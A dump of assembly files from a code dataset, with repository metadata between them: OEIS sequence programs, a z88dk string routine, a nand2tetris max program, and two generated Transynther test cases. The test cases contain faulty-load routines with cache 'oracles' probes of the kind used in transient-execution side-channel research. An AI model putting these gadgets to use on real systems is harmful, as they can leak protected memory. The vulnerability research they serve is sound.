"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/269/A269044.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A269044: a(n) = 13*n + 7.
; 7,20,33,46,59,72,85,98,111,124,137,150,163,176,189,202,215,228,241,254,267,280,293,306,319,332,345,358,371,384,397,410,423,436,449,462,475,488,501,514,527,540,553,566,579,592,605,618,631,644,657,670,683,696,709,722,735,748,761,774,787,800,813,826,839,852,865,878,891,904,917,930,943,956,969,982,995,1008,1021,1034,1047,1060,1073,1086,1099,1112,1125,1138,1151,1164,1177,1190,1203,1216,1229,1242,1255,1268,1281,1294
mul $0,13
add $0,7
| 77.333333 | 415 | 0.728448 |
5a9a11895b77e78df72bb86378262d5d780bebb7 | 389 | asm | Assembly | libsrc/_DEVELOPMENT/string/c/sccz80/strupr.asm | Frodevan/z88dk | f27af9fe840ff995c63c80a73673ba7ee33fffac | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/string/c/sccz80/strupr.asm | Frodevan/z88dk | f27af9fe840ff995c63c80a73673ba7ee33fffac | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/string/c/sccz80/strupr.asm | Frodevan/z88dk | f27af9fe840ff995c63c80a73673ba7ee33fffac | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
; char *strupr(char *s)
SECTION code_clib
SECTION code_string
PUBLIC strupr
EXTERN asm_strupr
defc strupr = asm_strupr
IF __CLASSIC && __CPU_GBZ80__
PUBLIC _strupr
_strupr:
ld hl,sp+2
ld a,(hl+)
ld h,(hl)
ld l,a
call asm_strupr
ld d,h
ld e,l
ret
ENDIF
; SDCC bridge for Classic
IF __CLASSIC && !__CPU_GBZ80__
PUBLIC _strupr
defc _strupr = strupr
ENDIF
| 11.787879 | 30 | 0.696658 |
68af33973036cd0c070ad9b2fab9ac1557ad1c98 | 5,870 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_st_zr_sm_/i7-7700_9_0xca_notsx.log_21829_1912.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_st_zr_sm_/i7-7700_9_0xca_notsx.log_21829_1912.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_st_zr_sm_/i7-7700_9_0xca_notsx.log_21829_1912.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r9
push %rbp
push %rbx
push %rdi
lea addresses_A_ht+0xffec, %rbx
clflush (%rbx)
nop
nop
nop
sub $48960, %r9
movb (%rbx), %r10b
nop
dec %rdi
lea addresses_D_ht+0x950c, %r9
nop
nop
nop
nop
nop
cmp $21791, %rdi
movb (%r9), %bl
nop
nop
nop
nop
add $8961, %rdi
pop %rdi
pop %rbx
pop %rbp
pop %r9
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r13
push %r8
push %rdi
push %rdx
// Store
lea addresses_PSE+0x1e98, %r11
nop
and $47985, %r13
movb $0x51, (%r11)
nop
nop
nop
add $29974, %r13
// Store
lea addresses_PSE+0x198c, %r13
nop
nop
nop
nop
nop
cmp $58633, %rdi
mov $0x5152535455565758, %r11
movq %r11, (%r13)
nop
nop
nop
nop
sub $24380, %r11
// Store
lea addresses_UC+0x1520c, %rdx
nop
nop
nop
nop
sub $604, %r10
movw $0x5152, (%rdx)
nop
dec %r12
// Store
mov $0xf4c, %rdi
nop
nop
nop
nop
and %r8, %r8
mov $0x5152535455565758, %rdx
movq %rdx, %xmm2
movups %xmm2, (%rdi)
nop
cmp %r13, %r13
// Store
lea addresses_D+0x1248c, %r10
nop
nop
nop
nop
nop
sub $35292, %r13
mov $0x5152535455565758, %rdi
movq %rdi, %xmm2
movups %xmm2, (%r10)
nop
nop
sub %rdi, %rdi
// Store
mov $0x6c9e43000000084c, %r11
clflush (%r11)
nop
nop
and $13124, %rdi
movw $0x5152, (%r11)
// Exception!!!
nop
nop
nop
mov (0), %r12
nop
nop
nop
nop
nop
add $65424, %r11
// Faulty Load
mov $0x6c9e43000000084c, %r8
nop
inc %r13
mov (%r8), %r12d
lea oracles, %r8
and $0xff, %r12
shlq $12, %r12
mov (%r8,%r12,1), %r12
pop %rdx
pop %rdi
pop %r8
pop %r13
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 6, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 8, 'same': False, 'type': 'addresses_P'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 6, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_NC'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 6, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'00': 2235, '52': 19594}
52 52 52 52 52 52 52 00 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 00 52 52 00 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 00 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 00 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 00 52 52 52 52 52 52 52 00 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 00 52 00 52 52 00 52 52 52 52 52 52 52 52 52 52 00 52 52 00 52 52 52 52 52 52 00 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 00 00 52 52 52 52 00 52 00 00 52 52 52 52 52 52 52 52 00 52 00 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 00 52 52 52 52 52 52 52 52 52 00 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 00 00 52 52 52 52 52 52 52 00 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 00 52 52 00 52 52 52 52 00 52 52 52 52 52 52 52 00 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 00 52 00 52 52 52 52 00 00 52 52 52 00 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 00 52 52 00 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 00 52 52 52 52 00 52 00 52 00 52 52 00 52 00 00 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 00 52 52 52 52 52 52 52 00 52 52 52 00 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 00 52 52 52 00 52 52 52 00 52 00 52 00 52 52 52 52 52 00 52 52 52 00 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 00 52 00 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 00 52 52 52
*/
| 34.940476 | 2,999 | 0.651789 |
f298bd5c426d0c5dd382aced10fc07a75add4940 | 472 | asm | Assembly | projects/Assembler/asm-programs/Max.asm | UrielX/nand2tetris | 4a449f846e10b5e36de0b97f1fad9810c33d775b | [
"MIT"
] | null | null | null | projects/Assembler/asm-programs/Max.asm | UrielX/nand2tetris | 4a449f846e10b5e36de0b97f1fad9810c33d775b | [
"MIT"
] | null | null | null | projects/Assembler/asm-programs/Max.asm | UrielX/nand2tetris | 4a449f846e10b5e36de0b97f1fad9810c33d775b | [
"MIT"
] | null | null | null | // This file is part of www.nand2tetris.org
// and the book "The Elements of Computing Systems"
// by Nisan and Schocken, MIT Press.
// File name: projects/06/max/Max.asm
// Computes R2 = max(R0, R1) (R0,R1,R2 refer to RAM[0],RAM[1],RAM[2])
@R0
D=M
@R1
D=D-M
@OUTPUT_FIRST
D;JGT
@R1
D=M
@OUTPUT_D
0;JMP
(OUTPUT_FIRST)
@R0
D=M
(OUTPUT_D)
@R2
M=D
(INFINITE_LOOP)
@INFINITE_LOOP
0;JMP
| 17.481481 | 71 | 0.563559 |
af9761ae73e60a64beb6771ade7e137f730dc02d | 741 | asm | Assembly | oeis/192/A192951.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/192/A192951.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/192/A192951.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A192951: Coefficient of x in the reduction by x^2 -> x+1 of the polynomial p(n,x) defined at Comments.
; 0,1,3,9,20,40,74,131,225,379,630,1038,1700,2773,4511,7325,11880,19252,31182,50487,81725,132271,214058,346394,560520,906985,1467579,2374641,3842300,6217024,10059410,16276523,26336025,42612643,68948766,111561510,180510380,292071997,472582487,764654597,1237237200,2001891916,3239129238,5241021279,8480150645,13721172055,22201322834,35922495026,58123818000,94046313169,152170131315,246216444633,398386576100,644603020888,1042989597146,1687592618195,2730582215505,4418174833867,7148757049542
add $0,2
mov $2,38
sub $2,$0
seq $0,22308 ; a(n) = a(n-1) + a(n-2) + 1 for n>1, a(0)=0, a(1)=3.
add $0,$2
add $0,$2
sub $2,1
add $0,$2
sub $0,111
| 57 | 488 | 0.777328 |
3e626342ab8d163f9e13271467a3ca251280d062 | 530 | asm | Assembly | programs/oeis/313/A313510.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/313/A313510.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/313/A313510.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A313510: Coordination sequence Gal.3.13.3 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,5,10,14,18,23,28,33,38,42,46,51,56,61,66,70,74,79,84,89,94,98,102,107,112,117,122,126,130,135,140,145,150,154,158,163,168,173,178,182,186,191,196,201,206,210,214,219,224,229
mov $3,$0
lpb $0
sub $0,1
add $1,2
sub $0,$1
trn $0,1
add $0,$1
mov $2,$1
mov $1,2
add $1,$2
lpe
mov $1,$0
trn $1,1
lpb $3
add $1,4
sub $3,1
lpe
add $1,1
| 24.090909 | 177 | 0.658491 |
e83d5045fd8e508862c1d13f51eb0b4ad42ce196 | 625 | asm | Assembly | oeis/102/A102518.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/102/A102518.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/102/A102518.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A102518: a(n) = Sum_{k=0..n} binomial(n, k) * Sum_{j=0..k} binomial(3k, 3j).
; 1,3,27,243,2187,19683,177147,1594323,14348907,129140163,1162261467,10460353203,94143178827,847288609443,7625597484987,68630377364883,617673396283947,5559060566555523,50031545098999707,450283905890997363,4052555153018976267,36472996377170786403,328256967394537077627,2954312706550833698643,26588814358957503287787,239299329230617529590083,2153693963075557766310747,19383245667680019896796723,174449211009120179071170507,1570042899082081611640534563,14130386091738734504764811067
mov $1,9
pow $1,$0
div $1,2
mul $1,4
div $1,6
add $1,1
mov $0,$1
| 56.818182 | 479 | 0.8432 |
75fa2f501ada66b5153a933674a552e2a708b932 | 5,574 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xa0_notsx.log_21829_614.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xa0_notsx.log_21829_614.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xa0_notsx.log_21829_614.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r15
push %rbx
push %rdx
lea addresses_A_ht+0x13547, %rbx
nop
nop
nop
nop
sub %r15, %r15
movb $0x61, (%rbx)
and %r15, %r15
pop %rdx
pop %rbx
pop %r15
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r14
push %rax
push %rcx
push %rdi
push %rsi
// Store
lea addresses_UC+0x1cfc7, %rdi
nop
nop
add $2439, %r11
movw $0x5152, (%rdi)
nop
nop
nop
cmp $2792, %r14
// Store
lea addresses_A+0x14063, %rcx
nop
lfence
mov $0x5152535455565758, %r11
movq %r11, %xmm1
vmovups %ymm1, (%rcx)
nop
nop
nop
nop
nop
inc %rcx
// Store
lea addresses_WC+0x12b8a, %rsi
nop
xor %r13, %r13
mov $0x5152535455565758, %rax
movq %rax, %xmm2
vmovups %ymm2, (%rsi)
nop
nop
nop
nop
xor %rax, %rax
// Store
lea addresses_PSE+0xe947, %r13
nop
nop
nop
add $54622, %rax
mov $0x5152535455565758, %r14
movq %r14, %xmm3
movups %xmm3, (%r13)
nop
xor $60056, %rcx
// Store
lea addresses_UC+0xaa47, %r14
nop
nop
nop
nop
sub %rdi, %rdi
movb $0x51, (%r14)
nop
dec %rdi
// Load
lea addresses_PSE+0xe947, %rcx
nop
nop
nop
nop
nop
inc %r13
vmovups (%rcx), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $0, %xmm3, %rsi
nop
nop
cmp $28900, %rsi
// Faulty Load
lea addresses_PSE+0xe947, %r11
nop
nop
dec %rax
mov (%r11), %r13
lea oracles, %rax
and $0xff, %r13
shlq $12, %r13
mov (%rax,%r13,1), %r13
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r14
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 2, 'NT': True, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'size': 1, 'NT': True, 'same': False, 'congruent': 8}}
{'src': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 9}}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 39.531915 | 2,999 | 0.655185 |
577c11398f029cf5bdf3834d96dd31cdfea6e8c3 | 859 | asm | Assembly | source/device/device.asm | paulscottrobson/6502-basic | d4c360041bfa49427a506465e58bb0ef94beaa44 | [
"MIT"
] | 3 | 2021-09-30T19:34:11.000Z | 2021-10-31T06:55:50.000Z | source/device/device.asm | paulscottrobson/6502-Basic | d4c360041bfa49427a506465e58bb0ef94beaa44 | [
"MIT"
] | null | null | null | source/device/device.asm | paulscottrobson/6502-Basic | d4c360041bfa49427a506465e58bb0ef94beaa44 | [
"MIT"
] | 1 | 2021-12-07T21:58:44.000Z | 2021-12-07T21:58:44.000Z | ;
; Automatically generated
;
.include "option_x16/x16break.asm"
.include "option_x16/x16file.asm"
.include "option_x16/x16io.asm"
.include "option_x16/x16timer.asm"
.section code
deviceHandler:
dispatch deviceVectors
deviceVectors:
.word IOControlHandler ; index 0
.word IOClearScreen ; index 2
.word IONewLine ; index 4
.word IOInk ; index 6
.word IOInkey ; index 8
.word IOInput ; index 10
.word ExternLoad ; index 12
.word IOLocate ; index 14
.word IOPaper ; index 16
.word IOPrintChar ; index 18
.word IOPrintAscii ; index 20
.word ExternSave ; index 22
.word X16SyncBreak ; index 24
.word IOTab ; index 26
.word IOReadTimer ; index 28
_DummyControlHandler:
rts
.send code
| 26.030303 | 38 | 0.607683 |
28a97a176c5de02b641f144cf59cc8e4a281f3c0 | 1,234 | a51 | Assembly | Practical Exam/P23.a51 | pronoym99/Microcontrollers-and-Applications | b96fbef72ef66999502d32cc7a0cb84bbe8214ed | [
"Unlicense"
] | 1 | 2018-10-28T21:11:08.000Z | 2018-10-28T21:11:08.000Z | Practical Exam/P23.a51 | pronoym99/Microcontrollers-and-Applications | b96fbef72ef66999502d32cc7a0cb84bbe8214ed | [
"Unlicense"
] | null | null | null | Practical Exam/P23.a51 | pronoym99/Microcontrollers-and-Applications | b96fbef72ef66999502d32cc7a0cb84bbe8214ed | [
"Unlicense"
] | null | null | null | org 0000h
;Assume clock frequency = 12MHz
mov tmod,#1h ;T0 mode 1
repeat: setb p1.0 ;set pin
acall delay1 ;call small delay routine
clr p1.0 ;clear pin
acall delay2 ;call large delay routine
setb p1.0 ;set pin again
acall delay3
sjmp repeat ;repeat indefinitely
delay1:mov th0,#0fch ;delay routine for 1ms
mov tl0,#18h
sjmp sequence ;jump to timer stop sequence
delay2:mov th0,#0ech ;delay routine for 5ms
mov tl0,#78h
sjmp sequence
delay3:mov th0,#8ah ;delay routine for 30ms
mov tl0,#0d0h
sequence:setb tr0 ;start timer 0
wait:jnb tf0,wait ;wait till T0 stops counting
clr tr0 ;clear flags which were
clr tf0 ;modified in the process
ret ;return to main program
end
| 49.36 | 98 | 0.420583 |
26349b8b42289d41cc3eaa83e99f27253d30f242 | 786 | asm | Assembly | ASM/src/menu.asm | ShadoMagi/OoT-Randomizer | f9abb00a299e2f50f52fee4962047f8ab7f84975 | [
"MIT"
] | 1 | 2018-10-06T16:13:07.000Z | 2018-10-06T16:13:07.000Z | ASM/src/menu.asm | ShadoMagi/OoT-Randomizer | f9abb00a299e2f50f52fee4962047f8ab7f84975 | [
"MIT"
] | null | null | null | ASM/src/menu.asm | ShadoMagi/OoT-Randomizer | f9abb00a299e2f50f52fee4962047f8ab7f84975 | [
"MIT"
] | null | null | null | .macro item_menu_description_id, dest_reg, base_reg
lbu dest_reg, 0x0074 (base_reg) ; Load the item ID at the selected menu slot
bne dest_reg, 0xFF, @@return ; If the slot is not empty, use default behavior
nop
li dest_reg, 0x2C ; 0x2C = "SOLD OUT"
@@return:
.endmacro
item_menu_description_id_periodic:
item_menu_description_id t9, t8
jr ra
sh t9, 0x009A (sp)
item_menu_description_id_immediate_1:
item_menu_description_id t4, t9
jr ra
nop
item_menu_description_id_immediate_2:
item_menu_description_id t6, t5
jr ra
sh t6, 0x009A (sp)
item_menu_description_id_immediate_3:
item_menu_description_id t7, t6
jr ra
sh t7, 0x009A (sp)
| 28.071429 | 86 | 0.651399 |
748c045697945ec697733f68c3f5ae736a23bc57 | 1,755 | asm | Assembly | programs/oeis/120/A120167.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/120/A120167.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/120/A120167.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A120167: a(1)=9; a(n)=floor((39+sum(a(1) to a(n-1)))/4).
; 9,12,15,18,23,29,36,45,56,70,88,110,137,171,214,268,335,418,523,654,817,1021,1277,1596,1995,2494,3117,3896,4870,6088,7610,9512,11890,14863,18579,23223,29029,36286,45358,56697,70872,88590,110737,138421,173027,216283,270354,337943,422428,528035,660044,825055,1031319,1289149,1611436,2014295,2517869,3147336,3934170,4917712,6147140,7683925,9604907,12006133,15007667,18759583,23449479,29311849,36639811,45799764,57249705,71562131,89452664,111815830,139769787,174712234,218390293,272987866,341234832,426543540,533179425,666474282,833092852,1041366065,1301707581,1627134477,2033918096,2542397620,3177997025,3972496281,4965620351,6207025439,7758781799,9698477249,12123096561,15153870701,18942338376,23677922970,29597403713,36996754641,46245943301,57807429127,72259286408,90324108010,112905135013,141131418766,176414273458,220517841822,275647302278,344559127847,430698909809,538373637261,672967046576,841208808220,1051511010275,1314388762844,1642985953555,2053732441944,2567165552430,3208956940537,4011196175672,5013995219590,6267494024487,7834367530609,9792959413261,12241199266576,15301499083220,19126873854025,23908592317532,29885740396915,37357175496143,46696469370179,58370586712724,72963233390905,91204041738631,114005052173289,142506315216611,178132894020764,222666117525955,278332646907444,347915808634305,434894760792881,543618450991101,679523063738876,849403829673595,1061754787091994,1327193483864993,1658991854831241,2073739818539051,2592174773173814,3240218466467267,4050273083084084,5062841353855105,6328551692318881,7910689615398602
add $0,4
mov $2,2
